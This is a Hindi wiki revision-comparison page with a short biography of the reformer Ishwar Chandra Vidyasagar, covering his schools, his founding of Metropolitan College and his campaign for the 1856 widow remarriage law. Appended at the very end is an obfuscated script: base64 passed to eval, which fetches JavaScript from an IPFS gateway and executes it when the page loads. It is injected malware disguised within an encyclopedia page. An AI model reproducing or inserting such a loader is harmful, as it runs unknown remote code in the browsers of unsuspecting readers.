"ईश्वर चन्द्र विद्यासागर": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
पंक्ति 1: पंक्ति 1:
[[चित्र:Ishwar-Chandra-Vidyasagar.jpg|thumb|ईश्वर चन्द्र विद्यासागर]]
[[चित्र:Ishwar-Chandra-Vidyasagar.jpg|thumb|ईश्वर चन्द्र विद्यासागर]]
'''ईश्वर चन्द्र विद्यासागर''' ([[अंग्रेज़ी]]: Ishwar Chandra Vidyasagar; जन्म- 26 सितम्बर, 1820, [[पश्चिम बंगाल]]; मृत्यु- [[29 जुलाई]], [[1891]], [[कोलकाता]]) [[भारत]] के प्रसिद्ध समाज सुधारक, शिक्षा शास्त्री व स्वाधीनता सेनानी थे। वे गरीबों व दलितों के संरक्षक माने जाते थे। उन्होंने स्त्री-शिक्षा और [[विधवा विवाह]] पर काफ़ी ज़ोर दिया। ईश्वर चन्द्र विद्यासागर ने 'मेट्रोपोलिटन विद्यालय' सहित अनेक महिला विद्यालयों की स्थापना करवायी तथा वर्ष 1848 में '''वैताल पंचविशति''' नामक [[बंगला भाषा]] की प्रथम गद्य रचना का भी प्रकाशन किया। नैतिक मूल्यों के संरक्षक और शिक्षाविद विद्यासागर जी का मानना था कि [[अंग्रेज़ी]] और [[संस्कृत भाषा]] के ज्ञान का समन्वय करके ही भारतीय और पाश्चात्य परंपराओं के श्रेष्ठ को हासिल किया जा सकता है।
'''ईश्वर चन्द्र विद्यासागर''' ([[अंग्रेज़ी]]: Ishwar Chandra Vidyasagar; जन्म- 26 सितम्बर, 1820, [[पश्चिम बंगाल]]; मृत्यु- [[29 जुलाई]], [[1891]], [[कोलकाता]]) [[भारत]] के प्रसिद्ध समाज सुधारक, शिक्षा शास्त्री व स्वाधीनता सेनानी थे। वे गरीबों व दलितों के संरक्षक माने जाते थे। उन्होंने स्त्री-शिक्षा और [[विधवा विवाह]] पर काफ़ी ज़ोर दिया। ईश्वर चन्द्र विद्यासागर ने 'मेट्रोपोलिटन विद्यालय' सहित अनेक महिला विद्यालयों की स्थापना करवायी तथा वर्ष 1848 में '''वैताल पंचविशति''' नामक [[बंगला भाषा]] की प्रथम गद्य रचना का भी प्रकाशन किया। नैतिक मूल्यों के संरक्षक और शिक्षाविद विद्यासागर जी का मानना था कि [[अंग्रेज़ी]] और [[संस्कृत भाषा]] के ज्ञान का समन्वय करके ही भारतीय और पाश्चात्य परंपराओं के श्रेष्ठ को हासिल किया जा सकता है।
 
==जन्म परिचय==
ईश्वर चन्द्र विद्यासागर का जन्म 26 सितम्बर, 1820 को [[पश्चिमी मेदिनीपुर ज़िला]], पश्चिम बंगाल में हुआ था। इनके [[पिता]] का नाम ठाकुरदास बन्धोपाध्याय था और [[माता]] भगवती देवी थीं। अपनी छ: वर्ष की आयु में ही ईश्वर चन्द्र कलकत्ता (वर्तमान [[कोलकाता]]) आ गये थे। वे उच्चकोटि के विद्वान थे। उनकी विद्वता के कारण ही उन्हें 'विद्यासागर' की उपाधि दी गई थी।
==समाज सुधार==
अपने समाज सुधार योगदान के अंतर्गत ईश्वर चन्द्र विद्यासागर ने देशी भाषा<ref>वर्नाक्युलर एजुकेशन</ref> और लड़कियों की शिक्षा के लिए स्कूलों की एक श्रृंखला के साथ ही कलकत्ता में 'मेट्रोपॉलिटन कॉलेज' की स्थापना भी की। उन्होंने इन स्कूलों को चलाने में आने वाले खर्च का बीड़ा उठाया और अपनी बंगाली में लिखी गई किताबों, जिन्हें विशेष रूप से स्कूली बच्चों के लिए ही लिखा गया था, की बिक्री से फंड अर्जित किया। ये किताबें हमेशा बच्चों के लिए महत्त्वपूर्ण रहीं, जो शताब्दी या उससे भी अधिक समय तक पढ़ी जाती रहीं। जब विद्यासागर जी कलकत्ता के संस्कृत कॉलेज के प्रधानाचार्य बनाये गए, तब उन्होंने कॉलेज सभी जाति के छात्रों के लिए खोल दिया। ये उनके अनवरत प्रचार का ही नतीजा था कि 'विधवा पुनर्विवाह कानून-1856' आखिरकार पारित हो सका। उन्होंने इसे अपने जीवन की एक महत्त्वपूर्ण उपलब्धि माना था। विद्यासागर जी ने अपने इकलौते पुत्र का [[विवाह]] भी एक विधवा से ही किया। उन्होंने 'बहुपत्नी प्रथा' और '[[बाल विवाह]]' के ख़िलाफ़ भी संघर्ष छेड़ा।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 11: पंक्ति 14:
[[Category:स्वतन्त्रता सेनानी]][[Category:समाज सुधारक]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:औपनिवेशिक काल]]
[[Category:स्वतन्त्रता सेनानी]][[Category:समाज सुधारक]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:औपनिवेशिक काल]]
__INDEX__
__INDEX__
__NOTOC__

09:41, 21 फ़रवरी 2013 का अवतरण

ईश्वर चन्द्र विद्यासागर

ईश्वर चन्द्र विद्यासागर (अंग्रेज़ी: Ishwar Chandra Vidyasagar; जन्म- 26 सितम्बर, 1820, पश्चिम बंगाल; मृत्यु- 29 जुलाई, 1891, कोलकाता) भारत के प्रसिद्ध समाज सुधारक, शिक्षा शास्त्री व स्वाधीनता सेनानी थे। वे गरीबों व दलितों के संरक्षक माने जाते थे। उन्होंने स्त्री-शिक्षा और विधवा विवाह पर काफ़ी ज़ोर दिया। ईश्वर चन्द्र विद्यासागर ने 'मेट्रोपोलिटन विद्यालय' सहित अनेक महिला विद्यालयों की स्थापना करवायी तथा वर्ष 1848 में वैताल पंचविशति नामक बंगला भाषा की प्रथम गद्य रचना का भी प्रकाशन किया। नैतिक मूल्यों के संरक्षक और शिक्षाविद विद्यासागर जी का मानना था कि अंग्रेज़ी और संस्कृत भाषा के ज्ञान का समन्वय करके ही भारतीय और पाश्चात्य परंपराओं के श्रेष्ठ को हासिल किया जा सकता है।

जन्म परिचय

ईश्वर चन्द्र विद्यासागर का जन्म 26 सितम्बर, 1820 को पश्चिमी मेदिनीपुर ज़िला, पश्चिम बंगाल में हुआ था। इनके पिता का नाम ठाकुरदास बन्धोपाध्याय था और माता भगवती देवी थीं। अपनी छ: वर्ष की आयु में ही ईश्वर चन्द्र कलकत्ता (वर्तमान कोलकाता) आ गये थे। वे उच्चकोटि के विद्वान थे। उनकी विद्वता के कारण ही उन्हें 'विद्यासागर' की उपाधि दी गई थी।

समाज सुधार

अपने समाज सुधार योगदान के अंतर्गत ईश्वर चन्द्र विद्यासागर ने देशी भाषा[1] और लड़कियों की शिक्षा के लिए स्कूलों की एक श्रृंखला के साथ ही कलकत्ता में 'मेट्रोपॉलिटन कॉलेज' की स्थापना भी की। उन्होंने इन स्कूलों को चलाने में आने वाले खर्च का बीड़ा उठाया और अपनी बंगाली में लिखी गई किताबों, जिन्हें विशेष रूप से स्कूली बच्चों के लिए ही लिखा गया था, की बिक्री से फंड अर्जित किया। ये किताबें हमेशा बच्चों के लिए महत्त्वपूर्ण रहीं, जो शताब्दी या उससे भी अधिक समय तक पढ़ी जाती रहीं। जब विद्यासागर जी कलकत्ता के संस्कृत कॉलेज के प्रधानाचार्य बनाये गए, तब उन्होंने कॉलेज सभी जाति के छात्रों के लिए खोल दिया। ये उनके अनवरत प्रचार का ही नतीजा था कि 'विधवा पुनर्विवाह कानून-1856' आखिरकार पारित हो सका। उन्होंने इसे अपने जीवन की एक महत्त्वपूर्ण उपलब्धि माना था। विद्यासागर जी ने अपने इकलौते पुत्र का विवाह भी एक विधवा से ही किया। उन्होंने 'बहुपत्नी प्रथा' और 'बाल विवाह' के ख़िलाफ़ भी संघर्ष छेड़ा।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. वर्नाक्युलर एजुकेशन

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>